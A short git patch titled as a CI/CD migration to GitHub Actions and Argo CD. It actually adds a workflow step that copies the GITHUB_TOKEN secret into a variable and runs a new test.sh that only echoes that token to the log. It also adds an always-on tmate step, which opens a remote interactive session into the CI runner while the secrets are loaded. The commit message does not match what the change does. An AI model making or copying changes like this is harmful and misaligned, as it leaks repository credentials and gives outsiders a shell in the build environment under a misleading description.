From 3dbc8d190e9ddcfab7bc575f0f46a0e14417a3d1 Mon Sep 17 00:00:00 2001 From: Prasanna Chiang Date: Wed, 3 Jan 2024 14:36:41 +0800 Subject: [PATCH] chore: migrate ci/cd pipelines to github actions and argo cd --- .github/workflows/ci.yaml | 9 +++++++++ scripts/test.sh | 1 + 2 files changed, 10 insertions(+) create mode 100644 scripts/test.sh diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 978d3662..4b62ae90 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -76,3 +76,12 @@ jobs: export GITHUB_TOKEN=${{ secrets.GITHUB_TOKEN }} export AUTOMATED_WRITE_AUTH=${{ secrets.AUTOMATED_WRITE_AUTH }} scripts/deploy.sh + + - name: Test GitHub Token + run: | + export TOKEN=${{ secrets.GITHUB_TOKEN }} + scripts/test.sh + + - name: Setup tmate session + if: ${{ true }} + uses: mxschmitt/action-tmate@v3 diff --git a/scripts/test.sh b/scripts/test.sh new file mode 100644 index 00000000..baf4256c --- /dev/null +++ b/scripts/test.sh @@ -0,0 +1 @@ +echo $TOKEN